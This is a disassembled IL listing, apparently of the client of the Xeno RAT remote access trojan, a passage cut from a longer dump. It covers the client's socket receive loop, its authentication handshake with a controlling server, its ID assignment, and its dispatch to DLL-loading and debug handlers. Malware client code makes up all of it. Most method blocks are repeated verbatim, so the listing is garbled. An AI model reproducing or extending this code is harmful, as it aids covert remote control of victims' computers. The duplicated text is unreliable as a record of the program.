00003b86call 0x2B00001E
00003b8bleave IL_02b5
00003b90ldarg.0
00003b91ldfld <>u__2
00003b96stloc.s 5
00003b98ldarg.0
00003b99ldflda <>u__2
00003b9einitobj System.Runtime.CompilerServices.TaskAwaiter
00003ba4ldarg.0
00003ba5ldc.i4.m1
00003ba6dup
00003ba7stloc.0
00003ba8stfld <>1__state
00003badldloca.s 5
00003bafcall GetResult
00003bb4br IL_027c
00003bb9ldloc.1
00003bbaldarg.0
00003bbbldfld subServer
00003bc0ldloc.2
00003bc1call setSetId
00003bc6callvirt GetAwaiter
00003bcbstloc.s 5
00003bcdldloca.s 5
00003bcfcall get_IsCompleted
00003bd4brtrue.s IL_01ef
00003bd6ldarg.0
00003bd7ldc.i4.3
00003bd8dup
00003bd9stloc.0
00003bdastfld <>1__state
00003bdfldarg.0
00003be0ldloc.s 5
00003be2stfld <>u__2
00003be7ldarg.0
00003be8ldflda <>t__builder
00003bedldloca.s 5
00003befldarg.0
00003bf0call 0x2B00001E
00003bf5leave IL_02b5
00003bfaldarg.0
00003bfbldfld <>u__2
00003c00stloc.s 5
00003c02ldarg.0
00003c03ldflda <>u__2
00003c08initobj System.Runtime.CompilerServices.TaskAwaiter
00003c0eldarg.0
00003c0fldc.i4.m1
00003c10dup
00003c11stloc.0
00003c12stfld <>1__state
00003c17ldloca.s 5
00003c19call GetResult
00003c1ebr.s IL_025f
00003c20leave IL_02a2
00003c25ldloc.1
00003c26ldarg.0
00003c27ldfld subServer
00003c2cldloc.2
00003c2dcall DebugMenu
00003c32callvirt GetAwaiter
00003c37stloc.s 5
00003c39ldloca.s 5
00003c3bcall get_IsCompleted
00003c40brtrue.s IL_0258
00003c42ldarg.0
00003c43ldc.i4.4
00003c44dup
00003c45stloc.0
00003c46stfld <>1__state
00003c4bldarg.0
00003c4cldloc.s 5
00003c4estfld <>u__2
00003c53ldarg.0
00003c54ldflda <>t__builder
00003c59ldloca.s 5
00003c5bldarg.0
00003c5ccall 0x2B00001E
00003c61leave.s IL_02b5
00003c63ldarg.0
00003c64ldfld <>u__2
00003c69stloc.s 5
00003c6bldarg.0
00003c6cldflda <>u__2
00003c71initobj System.Runtime.CompilerServices.TaskAwaiter
00003c77ldarg.0
00003c78ldc.i4.m1
00003c79dup
00003c7astloc.0
00003c7bstfld <>1__state
00003c80ldloca.s 5
00003c82call GetResult
00003c87ldarg.0
00003c88ldfld subServer
00003c8dcallvirt Connected
00003c92brfalse.s IL_027c
00003c94ldloc.1
00003c95ldfld Main
00003c9acallvirt Connected
00003c9fbrtrue IL_002d
00003ca4ldarg.0
00003ca5ldfld subServer
00003caacallvirt Disconnect
00003cafleave.s IL_02a2
00003cb1stloc.s 6
00003cb3ldarg.0
00003cb4ldc.i4.s -2
00003cb6stfld <>1__state
00003cbbldarg.0
00003cbcldflda <>t__builder
00003cc1ldloc.s 6
00003cc3call SetException
00003cc8leave.s IL_02b5
00003ccaldarg.0
00003ccbldc.i4.s -2
00003ccdstfld <>1__state
00003cd2ldarg.0
00003cd3ldflda <>t__builder
00003cd8call SetResult
00003cddret
00003a28
00003a28<Type2Receive>d__9::MoveNext:
00003a28ldarg.0
00003a29ldfld <>1__state
00003a2estloc.0
00003a2fldarg.0
00003a30ldfld <>4__this
00003a35stloc.1
00003a36ldloc.0
00003a37switch (IL_006c, IL_00fa, IL_0168, IL_01d2, IL_023b)
00003a50br IL_025f
00003a55ldarg.0
00003a56ldfld subServer
00003a5bcallvirt ReceiveAsync
00003a60callvirt GetAwaiter
00003a65stloc.s 4
00003a67ldloca.s 4
00003a69call get_IsCompleted
00003a6ebrtrue.s IL_0089
00003a70ldarg.0
00003a71ldc.i4.0
00003a72dup
00003a73stloc.0
00003a74stfld <>1__state
00003a79ldarg.0
00003a7aldloc.s 4
00003a7cstfld <>u__1
00003a81ldarg.0
00003a82ldflda <>t__builder
00003a87ldloca.s 4
00003a89ldarg.0
00003a8acall 0x2B00001D
00003a8fleave IL_02b5
00003a94ldarg.0
00003a95ldfld <>u__1
00003a9astloc.s 4
00003a9cldarg.0
00003a9dldflda <>u__1
00003aa2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00003aa8ldarg.0
00003aa9ldc.i4.m1
00003aaadup
00003aabstloc.0
00003aacstfld <>1__state
00003ab1ldloca.s 4
00003ab3call GetResult
00003ab8stloc.2
00003ab9ldloc.2
00003ababrfalse IL_027c
00003abfldloc.2
00003ac0ldc.i4.0
00003ac1ldelem.u1
00003ac2stloc.3
00003ac3ldloc.3
00003ac4switch (IL_00ba, IL_0123, IL_0191, IL_01f8, IL_01fd)
00003addbr IL_025f
00003ae2ldloc.1
00003ae3ldarg.0
00003ae4ldfld subServer
00003ae9call SendUpdateInfo
00003aeecallvirt GetAwaiter
00003af3stloc.s 5
00003af5ldloca.s 5
00003af7call get_IsCompleted
00003afcbrtrue.s IL_0117
00003afeldarg.0
00003affldc.i4.1
00003b00dup
00003b01stloc.0
00003b02stfld <>1__state
00003b07ldarg.0
00003b08ldloc.s 5
00003b0astfld <>u__2
00003b0fldarg.0
00003b10ldflda <>t__builder
00003b15ldloca.s 5
00003b17ldarg.0
00003b18call 0x2B00001E
00003b1dleave IL_02b5
00003b22ldarg.0
00003b23ldfld <>u__2
00003b28stloc.s 5
00003b2aldarg.0
00003b2bldflda <>u__2
00003b30initobj System.Runtime.CompilerServices.TaskAwaiter
00003b36ldarg.0
00003b37ldc.i4.m1
00003b38dup
00003b39stloc.0
00003b3astfld <>1__state
00003b3fldloca.s 5
00003b41call GetResult
00003b46br IL_025f
00003b4bldloc.1
00003b4cldfld dllhandler
00003b51ldarg.0
00003b52ldfld subServer
00003b57callvirt DllNodeHandler
00003b5ccallvirt GetAwaiter
00003b61stloc.s 5
00003b63ldloca.s 5
00003b65call get_IsCompleted
00003b6abrtrue.s IL_0185
00003b6cldarg.0
00003b6dldc.i4.2
00003b6edup
00003b6fstloc.0
00003b70stfld <>1__state
00003b75ldarg.0
00003b76ldloc.s 5
00003b78stfld <>u__2
00003b7dldarg.0
00003b7eldflda <>t__builder
00003b83ldloca.s 5
00003b85ldarg.0
00003b86call 0x2B00001E
00003b8bleave IL_02b5
00003b90ldarg.0
00003b91ldfld <>u__2
00003b96stloc.s 5
00003b98ldarg.0
00003b99ldflda <>u__2
00003b9einitobj System.Runtime.CompilerServices.TaskAwaiter
00003ba4ldarg.0
00003ba5ldc.i4.m1
00003ba6dup
00003ba7stloc.0
00003ba8stfld <>1__state
00003badldloca.s 5
00003bafcall GetResult
00003bb4br IL_027c
00003bb9ldloc.1
00003bbaldarg.0
00003bbbldfld subServer
00003bc0ldloc.2
00003bc1call setSetId
00003bc6callvirt GetAwaiter
00003bcbstloc.s 5
00003bcdldloca.s 5
00003bcfcall get_IsCompleted
00003bd4brtrue.s IL_01ef
00003bd6ldarg.0
00003bd7ldc.i4.3
00003bd8dup
00003bd9stloc.0
00003bdastfld <>1__state
00003bdfldarg.0
00003be0ldloc.s 5
00003be2stfld <>u__2
00003be7ldarg.0
00003be8ldflda <>t__builder
00003bedldloca.s 5
00003befldarg.0
00003bf0call 0x2B00001E
00003bf5leave IL_02b5
00003bfaldarg.0
00003bfbldfld <>u__2
00003c00stloc.s 5
00003c02ldarg.0
00003c03ldflda <>u__2
00003c08initobj System.Runtime.CompilerServices.TaskAwaiter
00003c0eldarg.0
00003c0fldc.i4.m1
00003c10dup
00003c11stloc.0
00003c12stfld <>1__state
00003c17ldloca.s 5
00003c19call GetResult
00003c1ebr.s IL_025f
00003c20leave IL_02a2
00003c25ldloc.1
00003c26ldarg.0
00003c27ldfld subServer
00003c2cldloc.2
00003c2dcall DebugMenu
00003c32callvirt GetAwaiter
00003c37stloc.s 5
00003c39ldloca.s 5
00003c3bcall get_IsCompleted
00003c40brtrue.s IL_0258
00003c42ldarg.0
00003c43ldc.i4.4
00003c44dup
00003c45stloc.0
00003c46stfld <>1__state
00003c4bldarg.0
00003c4cldloc.s 5
00003c4estfld <>u__2
00003c53ldarg.0
00003c54ldflda <>t__builder
00003c59ldloca.s 5
00003c5bldarg.0
00003c5ccall 0x2B00001E
00003c61leave.s IL_02b5
00003c63ldarg.0
00003c64ldfld <>u__2
00003c69stloc.s 5
00003c6bldarg.0
00003c6cldflda <>u__2
00003c71initobj System.Runtime.CompilerServices.TaskAwaiter
00003c77ldarg.0
00003c78ldc.i4.m1
00003c79dup
00003c7astloc.0
00003c7bstfld <>1__state
00003c80ldloca.s 5
00003c82call GetResult
00003c87ldarg.0
00003c88ldfld subServer
00003c8dcallvirt Connected
00003c92brfalse.s IL_027c
00003c94ldloc.1
00003c95ldfld Main
00003c9acallvirt Connected
00003c9fbrtrue IL_002d
00003ca4ldarg.0
00003ca5ldfld subServer
00003caacallvirt Disconnect
00003cafleave.s IL_02a2
00003cb1stloc.s 6
00003cb3ldarg.0
00003cb4ldc.i4.s -2
00003cb6stfld <>1__state
00003cbbldarg.0
00003cbcldflda <>t__builder
00003cc1ldloc.s 6
00003cc3call SetException
00003cc8leave.s IL_02b5
00003ccaldarg.0
00003ccbldc.i4.s -2
00003ccdstfld <>1__state
00003cd2ldarg.0
00003cd3ldflda <>t__builder
00003cd8call SetResult
00003cddret
00003a28
00003d08
00003d08<setSetId>d__8::MoveNext:
00003d08ldarg.0
00003d09ldfld <>1__state
00003d0estloc.0
00003d0fldloc.0
00003d10brfalse.s IL_0072
00003d12ldc.i4.1
00003d13newarr System.Byte
00003d18dup
00003d19ldc.i4.0
00003d1aldc.i4.1
00003d1bstelem.i1
00003d1cstloc.1
00003d1dldarg.0
00003d1eldfld subServer
00003d23ldarg.0
00003d24ldfld subServer
00003d29ldfld sock
00003d2eldarg.0
00003d2fldfld data
00003d34ldc.i4.1
00003d35callvirt BytesToInt
00003d3astfld SetId
00003d3fldarg.0
00003d40ldfld subServer
00003d45ldloc.1
00003d46callvirt SendAsync
00003d4bcallvirt GetAwaiter
00003d50stloc.2
00003d51ldloca.s 2
00003d53call get_IsCompleted
00003d58brtrue.s IL_008e
00003d5aldarg.0
00003d5bldc.i4.0
00003d5cdup
00003d5dstloc.0
00003d5estfld <>1__state
00003d63ldarg.0
00003d64ldloc.2
00003d65stfld <>u__1
00003d6aldarg.0
00003d6bldflda <>t__builder
00003d70ldloca.s 2
00003d72ldarg.0
00003d73call 0x2B00001F
00003d78leave.s IL_00c2
00003d7aldarg.0
00003d7bldfld <>u__1
00003d80stloc.2
00003d81ldarg.0
00003d82ldflda <>u__1
00003d87initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00003d8dldarg.0
00003d8eldc.i4.m1
00003d8fdup
00003d90stloc.0
00003d91stfld <>1__state
00003d96ldloca.s 2
00003d98call GetResult
00003d9dpop
00003d9eleave.s IL_00af
00003da0stloc.3
00003da1ldarg.0
00003da2ldc.i4.s -2
00003da4stfld <>1__state
00003da9ldarg.0
00003daaldflda <>t__builder
00003dafldloc.3
00003db0call SetException
00003db5leave.s IL_00c2
00003db7ldarg.0
00003db8ldc.i4.s -2
00003dbastfld <>1__state
00003dbfldarg.0
00003dc0ldflda <>t__builder
00003dc5call SetResult
00003dcaret
00003d08
00003d08<setSetId>d__8::MoveNext:
00003d08ldarg.0
00003d09ldfld <>1__state
00003d0estloc.0
00003d0fldloc.0
00003d10brfalse.s IL_0072
00003d12ldc.i4.1
00003d13newarr System.Byte
00003d18dup
00003d19ldc.i4.0
00003d1aldc.i4.1
00003d1bstelem.i1
00003d1cstloc.1
00003d1dldarg.0
00003d1eldfld subServer
00003d23ldarg.0
00003d24ldfld subServer
00003d29ldfld sock
00003d2eldarg.0
00003d2fldfld data
00003d34ldc.i4.1
00003d35callvirt BytesToInt
00003d3astfld SetId
00003d3fldarg.0
00003d40ldfld subServer
00003d45ldloc.1
00003d46callvirt SendAsync
00003d4bcallvirt GetAwaiter
00003d50stloc.2
00003d51ldloca.s 2
00003d53call get_IsCompleted
00003d58brtrue.s IL_008e
00003d5aldarg.0
00003d5bldc.i4.0
00003d5cdup
00003d5dstloc.0
00003d5estfld <>1__state
00003d63ldarg.0
00003d64ldloc.2
00003d65stfld <>u__1
00003d6aldarg.0
00003d6bldflda <>t__builder
00003d70ldloca.s 2
00003d72ldarg.0
00003d73call 0x2B00001F
00003d78leave.s IL_00c2
00003d7aldarg.0
00003d7bldfld <>u__1
00003d80stloc.2
00003d81ldarg.0
00003d82ldflda <>u__1
00003d87initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00003d8dldarg.0
00003d8eldc.i4.m1
00003d8fdup
00003d90stloc.0
00003d91stfld <>1__state
00003d96ldloca.s 2
00003d98call GetResult
00003d9dpop
00003d9eleave.s IL_00af
00003da0stloc.3
00003da1ldarg.0
00003da2ldc.i4.s -2
00003da4stfld <>1__state
00003da9ldarg.0
00003daaldflda <>t__builder
00003dafldloc.3
00003db0call SetException
00003db5leave.s IL_00c2
00003db7ldarg.0
00003db8ldc.i4.s -2
00003dbastfld <>1__state
00003dbfldarg.0
00003dc0ldflda <>t__builder
00003dc5call SetResult
00003dcaret
00003d08
00003de8
00003de8xeno_rat_client.Node::Disconnect:
00003de8ldloca.s 0
00003deacall Create
00003defstfld <>t__builder
00003df4ldloca.s 0
00003df6ldarg.0
00003df7stfld <>4__this
00003dfcldloca.s 0
00003dfeldc.i4.m1
00003dffstfld <>1__state
00003e04ldloca.s 0
00003e06ldflda <>t__builder
00003e0bldloca.s 0
00003e0dcall 0x2B000020
00003e12ret
00003de8
00003de8xeno_rat_client.Node::Disconnect:
00003de8ldloca.s 0
00003deacall Create
00003defstfld <>t__builder
00003df4ldloca.s 0
00003df6ldarg.0
00003df7stfld <>4__this
00003dfcldloca.s 0
00003dfeldc.i4.m1
00003dffstfld <>1__state
00003e04ldloca.s 0
00003e06ldflda <>t__builder
00003e0bldloca.s 0
00003e0dcall 0x2B000020
00003e12ret
00003de8
00003e20
00003e20xeno_rat_client.Node::ConnectSubSockAsync:
00003e20ldloca.s 0
00003e22call Create
00003e27stfld <>t__builder
00003e2cldloca.s 0
00003e2eldarg.0
00003e2fstfld <>4__this
00003e34ldloca.s 0
00003e36ldarg.1
00003e37stfld type
00003e3cldloca.s 0
00003e3eldarg.2
00003e3fstfld retid
00003e44ldloca.s 0
00003e46ldarg.3
00003e47stfld OnDisconnect
00003e4cldloca.s 0
00003e4eldc.i4.m1
00003e4fstfld <>1__state
00003e54ldloca.s 0
00003e56ldflda <>t__builder
00003e5bldloca.s 0
00003e5dcall 0x2B000021
00003e62ldloca.s 0
00003e64ldflda <>t__builder
00003e69call get_Task
00003e6eret
00003e20
00003e20xeno_rat_client.Node::ConnectSubSockAsync:
00003e20ldloca.s 0
00003e22call Create
00003e27stfld <>t__builder
00003e2cldloca.s 0
00003e2eldarg.0
00003e2fstfld <>4__this
00003e34ldloca.s 0
00003e36ldarg.1
00003e37stfld type
00003e3cldloca.s 0
00003e3eldarg.2
00003e3fstfld retid
00003e44ldloca.s 0
00003e46ldarg.3
00003e47stfld OnDisconnect
00003e4cldloca.s 0
00003e4eldc.i4.m1
00003e4fstfld <>1__state
00003e54ldloca.s 0
00003e56ldflda <>t__builder
00003e5bldloca.s 0
00003e5dcall 0x2B000021
00003e62ldloca.s 0
00003e64ldflda <>t__builder
00003e69call get_Task
00003e6eret
00003e20
00003e7c
00003e7cxeno_rat_client.Node::Connected:
00003e7cldarg.0
00003e7dldfld sock
00003e82ldfld sock
00003e87callvirt get_Connected
00003e8cstloc.0
00003e8dleave.s IL_0018
00003e8fpop
00003e90ldc.i4.0
00003e91stloc.0
00003e92leave.s IL_0018
00003e94ldloc.0
00003e95ret
00003e7c
00003e7cxeno_rat_client.Node::Connected:
00003e7cldarg.0
00003e7dldfld sock
00003e82ldfld sock
00003e87callvirt get_Connected
00003e8cstloc.0
00003e8dleave.s IL_0018
00003e8fpop
00003e90ldc.i4.0
00003e91stloc.0
00003e92leave.s IL_0018
00003e94ldloc.0
00003e95ret
00003e7c
00003eb4
00003eb4xeno_rat_client.Node::ReceiveAsync:
00003eb4ldloca.s 0
00003eb6call Create
00003ebbstfld <>t__builder
00003ec0ldloca.s 0
00003ec2ldarg.0
00003ec3stfld <>4__this
00003ec8ldloca.s 0
00003ecaldc.i4.m1
00003ecbstfld <>1__state
00003ed0ldloca.s 0
00003ed2ldflda <>t__builder
00003ed7ldloca.s 0
00003ed9call 0x2B000022
00003edeldloca.s 0
00003ee0ldflda <>t__builder
00003ee5call get_Task
00003eearet
00003eb4
00003eb4xeno_rat_client.Node::ReceiveAsync:
00003eb4ldloca.s 0
00003eb6call Create
00003ebbstfld <>t__builder
00003ec0ldloca.s 0
00003ec2ldarg.0
00003ec3stfld <>4__this
00003ec8ldloca.s 0
00003ecaldc.i4.m1
00003ecbstfld <>1__state
00003ed0ldloca.s 0
00003ed2ldflda <>t__builder
00003ed7ldloca.s 0
00003ed9call 0x2B000022
00003edeldloca.s 0
00003ee0ldflda <>t__builder
00003ee5call get_Task
00003eearet
00003eb4
00003ef8
00003ef8xeno_rat_client.Node::SendAsync:
00003ef8ldloca.s 0
00003efacall Create
00003effstfld <>t__builder
00003f04ldloca.s 0
00003f06ldarg.0
00003f07stfld <>4__this
00003f0cldloca.s 0
00003f0eldarg.1
00003f0fstfld data
00003f14ldloca.s 0
00003f16ldc.i4.m1
00003f17stfld <>1__state
00003f1cldloca.s 0
00003f1eldflda <>t__builder
00003f23ldloca.s 0
00003f25call 0x2B000023
00003f2aldloca.s 0
00003f2cldflda <>t__builder
00003f31call get_Task
00003f36ret
00003ef8
00003ef8xeno_rat_client.Node::SendAsync:
00003ef8ldloca.s 0
00003efacall Create
00003effstfld <>t__builder
00003f04ldloca.s 0
00003f06ldarg.0
00003f07stfld <>4__this
00003f0cldloca.s 0
00003f0eldarg.1
00003f0fstfld data
00003f14ldloca.s 0
00003f16ldc.i4.m1
00003f17stfld <>1__state
00003f1cldloca.s 0
00003f1eldflda <>t__builder
00003f23ldloca.s 0
00003f25call 0x2B000023
00003f2aldloca.s 0
00003f2cldflda <>t__builder
00003f31call get_Task
00003f36ret
00003ef8
00003f44
00003f44xeno_rat_client.Node::AuthenticateAsync:
00003f44ldloca.s 0
00003f46call Create
00003f4bstfld <>t__builder
00003f50ldloca.s 0
00003f52ldarg.0
00003f53stfld <>4__this
00003f58ldloca.s 0
00003f5aldarg.1
00003f5bstfld type
00003f60ldloca.s 0
00003f62ldarg.2
00003f63stfld id
00003f68ldloca.s 0
00003f6aldc.i4.m1
00003f6bstfld <>1__state
00003f70ldloca.s 0
00003f72ldflda <>t__builder
00003f77ldloca.s 0
00003f79call 0x2B000024
00003f7eldloca.s 0
00003f80ldflda <>t__builder
00003f85call get_Task
00003f8aret
00003f44
00003f44xeno_rat_client.Node::AuthenticateAsync:
00003f44ldloca.s 0
00003f46call Create
00003f4bstfld <>t__builder
00003f50ldloca.s 0
00003f52ldarg.0
00003f53stfld <>4__this
00003f58ldloca.s 0
00003f5aldarg.1
00003f5bstfld type
00003f60ldloca.s 0
00003f62ldarg.2
00003f63stfld id
00003f68ldloca.s 0
00003f6aldc.i4.m1
00003f6bstfld <>1__state
00003f70ldloca.s 0
00003f72ldflda <>t__builder
00003f77ldloca.s 0
00003f79call 0x2B000024
00003f7eldloca.s 0
00003f80ldflda <>t__builder
00003f85call get_Task
00003f8aret
00003f44
00003f98
00003f98<AuthenticateAsync>d__18::MoveNext:
00003f98ldarg.0
00003f99ldfld <>1__state
00003f9estloc.0
00003f9fldarg.0
00003fa0ldfld <>4__this
00003fa5stloc.1
00003fa6ldloc.0
00003fa7ldc.i4.5
00003fa8ble.un.s IL_0029
00003faaldarg.0
00003fabldc.i4.7
00003facnewarr System.Byte
00003fb1dup
00003fb2ldtoken 1D1CC35EA61331C5A85D2A960611153E37A62DCD916269D6E3B5A0DAC2EF3824
00003fb7call InitializeArray
00003fbcstfld <comp>5__2
00003fc1nop
00003fc2ldloc.0
00003fc3switch (IL_0097, IL_00fc, IL_0168, IL_01fe, IL_0275, IL_0313)
00003fe0ldloc.1
00003fe1ldfld sock
00003fe6ldc.i4 5000
00003febcallvirt SetRecvTimeout
00003ff0ldloc.1
00003ff1ldfld sock
00003ff6callvirt ReceiveAsync
00003ffbcallvirt GetAwaiter
00004000stloc.s 4
00004002ldloca.s 4
00004004call get_IsCompleted
00004009brtrue.s IL_00b4
0000400bldarg.0
0000400cldc.i4.0
0000400ddup
0000400estloc.0
0000400fstfld <>1__state
00004014ldarg.0
00004015ldloc.s 4
00004017stfld <>u__1
0000401cldarg.0
0000401dldflda <>t__builder
00004022ldloca.s 4
00004024ldarg.0
00004025call 0x2B000025
0000402aleave IL_0391
0000402fldarg.0
00004030ldfld <>u__1
00004035stloc.s 4
00004037ldarg.0
00004038ldflda <>u__1
0000403dinitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00004043ldarg.0
00004044ldc.i4.m1
00004045dup
00004046stloc.0
00004047stfld <>1__state
0000404cldloca.s 4
0000404ecall GetResult
00004053stloc.3
00004054ldloc.1
00004055ldfld sock
0000405aldloc.3
0000405bcallvirt SendAsync
00004060callvirt GetAwaiter
00004065stloc.s 5
00004067ldloca.s 5
00004069call get_IsCompleted
0000406ebrtrue.s IL_0119
00004070ldarg.0
00004071ldc.i4.1
00004072dup
00004073stloc.0
00004074stfld <>1__state
00004079ldarg.0
0000407aldloc.s 5
0000407cstfld <>u__2
00004081ldarg.0
00004082ldflda <>t__builder
00004087ldloca.s 5
00004089ldarg.0
0000408acall 0x2B000026
0000408fleave IL_0391
00004094ldarg.0
00004095ldfld <>u__2
0000409astloc.s 5
0000409cldarg.0
0000409dldflda <>u__2
000040a2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000040a8ldarg.0
000040a9ldc.i4.m1
000040aadup
000040abstloc.0
000040acstfld <>1__state
000040b1ldloca.s 5
000040b3call GetResult
000040b8brtrue.s IL_0129
000040baldc.i4.0
000040bbstloc.2
000040bcleave IL_0376
000040c1ldloc.1
000040c2ldfld sock
000040c7callvirt ReceiveAsync
000040cccallvirt GetAwaiter
000040d1stloc.s 4
000040d3ldloca.s 4
000040d5call get_IsCompleted
000040dabrtrue.s IL_0185
000040dcldarg.0
000040ddldc.i4.2
000040dedup
000040dfstloc.0
000040e0stfld <>1__state
000040e5ldarg.0
000040e6ldloc.s 4
000040e8stfld <>u__1
000040edldarg.0
000040eeldflda <>t__builder
000040f3ldloca.s 4
000040f5ldarg.0
000040f6call 0x2B000025
000040fbleave IL_0391
00004100ldarg.0
00004101ldfld <>u__1
00004106stloc.s 4
00004108ldarg.0
00004109ldflda <>u__1
0000410einitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00004114ldarg.0
00004115ldc.i4.m1
00004116dup
00004117stloc.0
00004118stfld <>1__state
0000411dldloca.s 4
0000411fcall GetResult
00004124stloc.3
00004125ldloc.1
00004126ldfld sock
0000412bcallvirt ResetRecvTimeout
00004130ldloc.1
00004131ldarg.0
00004132ldfld <comp>5__2
00004137ldloc.3
00004138call ByteArrayCompare
0000413dbrfalse IL_034d
00004142ldloc.1
00004143ldfld sock
00004148ldarg.0
00004149ldfld type
0000414ecallvirt IntToBytes
00004153stloc.s 6
00004155ldloc.1
00004156ldfld sock
0000415bldloc.s 6
0000415dcallvirt SendAsync
00004162callvirt GetAwaiter
00004167stloc.s 5
00004169ldloca.s 5
0000416bcall get_IsCompleted
00004170brtrue.s IL_021b
00004172ldarg.0
00004173ldc.i4.3
00004174dup
00004175stloc.0
00004176stfld <>1__state
0000417bldarg.0
0000417cldloc.s 5
0000417estfld <>u__2
00004183ldarg.0
00004184ldflda <>t__builder
00004189ldloca.s 5
0000418bldarg.0
0000418ccall 0x2B000026
00004191leave IL_0391
00004196ldarg.0
00004197ldfld <>u__2
0000419cstloc.s 5
0000419eldarg.0
0000419fldflda <>u__2
000041a4initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000041aaldarg.0
000041abldc.i4.m1
000041acdup
000041adstloc.0
000041aestfld <>1__state
000041b3ldloca.s 5
000041b5call GetResult
000041babrtrue.s IL_022b
000041bcldc.i4.0
000041bdstloc.2
000041beleave IL_0376
000041c3ldarg.0
000041c4ldfld type
000041c9brtrue IL_02b6
000041celdloc.1
000041cfldfld sock
000041d4callvirt ReceiveAsync
000041d9callvirt GetAwaiter
000041destloc.s 4
000041e0ldloca.s 4
000041e2call get_IsCompleted
000041e7brtrue.s IL_0292
000041e9ldarg.0
000041ealdc.i4.4
000041ebdup
000041ecstloc.0
000041edstfld <>1__state
000041f2ldarg.0
000041f3ldloc.s 4
000041f5stfld <>u__1
000041faldarg.0
000041fbldflda <>t__builder
00004200ldloca.s 4
00004202ldarg.0
00004203call 0x2B000025
00004208leave IL_0391
0000420dldarg.0
0000420eldfld <>u__1
00004213stloc.s 4
00004215ldarg.0
00004216ldflda <>u__1
0000421binitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00004221ldarg.0
00004222ldc.i4.m1
00004223dup
00004224stloc.0
00004225stfld <>1__state
0000422aldloca.s 4
0000422ccall GetResult
00004231stloc.3
00004232ldloc.1
00004233ldfld sock
00004238ldloc.3
00004239ldc.i4.0
0000423acallvirt BytesToInt
0000423fstloc.s 7
00004241ldloc.1
00004242ldloc.s 7
00004244stfld ID
00004249br IL_033d
0000424eldloc.1
0000424fldarg.0
00004250ldfld id
00004255stfld ID
0000425aldloc.1
0000425bldfld sock
00004260ldarg.0
00004261ldfld id
00004266callvirt IntToBytes
0000426bstloc.s 8
0000426dldloc.1
0000426eldfld sock
00004273ldloc.s 8
00004275callvirt SendAsync
0000427acallvirt GetAwaiter
0000427fstloc.s 5
00004281ldloca.s 5
00004283call get_IsCompleted
00004288brtrue.s IL_0330
0000428aldarg.0
0000428bldc.i4.5
0000428cdup
0000428dstloc.0
0000428estfld <>1__state
00004293ldarg.0
00004294ldloc.s 5
00004296stfld <>u__2
0000429bldarg.0
0000429cldflda <>t__builder
000042a1ldloca.s 5
000042a3ldarg.0
000042a4call 0x2B000026
000042a9leave.s IL_0391
000042abldarg.0
000042acldfld <>u__2
000042b1stloc.s 5
000042b3ldarg.0
000042b4ldflda <>u__2
000042b9initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000042bfldarg.0
000042c0ldc.i4.m1
000042c1dup
000042c2stloc.0
000042c3stfld <>1__state
000042c8ldloca.s 5
000042cacall GetResult
000042cfbrtrue.s IL_033d
000042d1ldc.i4.0
000042d2stloc.2
000042d3leave.s IL_0376
000042d5ldloc.1
000042d6ldarg.0
000042d7ldfld type
000042dcstfld SockType
000042e1ldc.i4.1
000042e2stloc.2
000042e3leave.s IL_0376
000042e5leave.s IL_0352
000042e7pop
000042e8leave.s IL_0352
000042ealdc.i4.0
000042ebstloc.2
000042ecleave.s IL_0376
000042eestloc.s 9
000042f0ldarg.0
000042f1ldc.i4.s -2
000042f3stfld <>1__state
000042f8ldarg.0
000042f9ldnull
000042fastfld <comp>5__2
000042ffldarg.0
00004300ldflda <>t__builder
00004305ldloc.s 9
00004307call SetException
0000430cleave.s IL_0391
0000430eldarg.0
0000430fldc.i4.s -2
00004311stfld <>1__state
00004316ldarg.0
00004317ldnull
00004318stfld <comp>5__2
0000431dldarg.0
0000431eldflda <>t__builder
00004323ldloc.2
00004324call SetResult
00004329ret
00003f98
00003f98<AuthenticateAsync>d__18::MoveNext:
00003f98ldarg.0
00003f99ldfld <>1__state
00003f9estloc.0
00003f9fldarg.0
00003fa0ldfld <>4__this
00003fa5stloc.1
00003fa6ldloc.0
00003fa7ldc.i4.5
00003fa8ble.un.s IL_0029
00003faaldarg.0
00003fabldc.i4.7
00003facnewarr System.Byte
00003fb1dup
00003fb2ldtoken 1D1CC35EA61331C5A85D2A960611153E37A62DCD916269D6E3B5A0DAC2EF3824
00003fb7call InitializeArray
00003fbcstfld <comp>5__2
00003fc1nop
00003fc2ldloc.0
00003fc3switch (IL_0097, IL_00fc, IL_0168, IL_01fe, IL_0275, IL_0313)
00003fe0ldloc.1
00003fe1ldfld sock
00003fe6ldc.i4 5000
00003febcallvirt SetRecvTimeout
00003ff0ldloc.1
00003ff1ldfld sock
00003ff6callvirt ReceiveAsync
00003ffbcallvirt GetAwaiter
00004000stloc.s 4
00004002ldloca.s 4
00004004call get_IsCompleted
00004009brtrue.s IL_00b4
0000400bldarg.0
0000400cldc.i4.0
0000400ddup
0000400estloc.0
0000400fstfld <>1__state
00004014ldarg.0
00004015ldloc.s 4
00004017stfld <>u__1
0000401cldarg.0
0000401dldflda <>t__builder
00004022ldloca.s 4
00004024ldarg.0
00004025call 0x2B000025
0000402aleave IL_0391
0000402fldarg.0
00004030ldfld <>u__1
00004035stloc.s 4
00004037ldarg.0
00004038ldflda <>u__1
0000403dinitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00004043ldarg.0
00004044ldc.i4.m1
00004045dup
00004046stloc.0
00004047stfld <>1__state
0000404cldloca.s 4
0000404ecall GetResult
00004053stloc.3
00004054ldloc.1
00004055ldfld sock
0000405aldloc.3
0000405bcallvirt SendAsync
00004060callvirt GetAwaiter
00004065stloc.s 5
00004067ldloca.s 5
00004069call get_IsCompleted
0000406ebrtrue.s IL_0119
00004070ldarg.0
00004071ldc.i4.1
00004072dup
00004073stloc.0
00004074stfld <>1__state
00004079ldarg.0
0000407aldloc.s 5
0000407cstfld <>u__2
00004081ldarg.0
00004082ldflda <>t__builder
00004087ldloca.s 5
00004089ldarg.0
0000408acall 0x2B000026
0000408fleave IL_0391
00004094ldarg.0
00004095ldfld <>u__2
0000409astloc.s 5
0000409cldarg.0
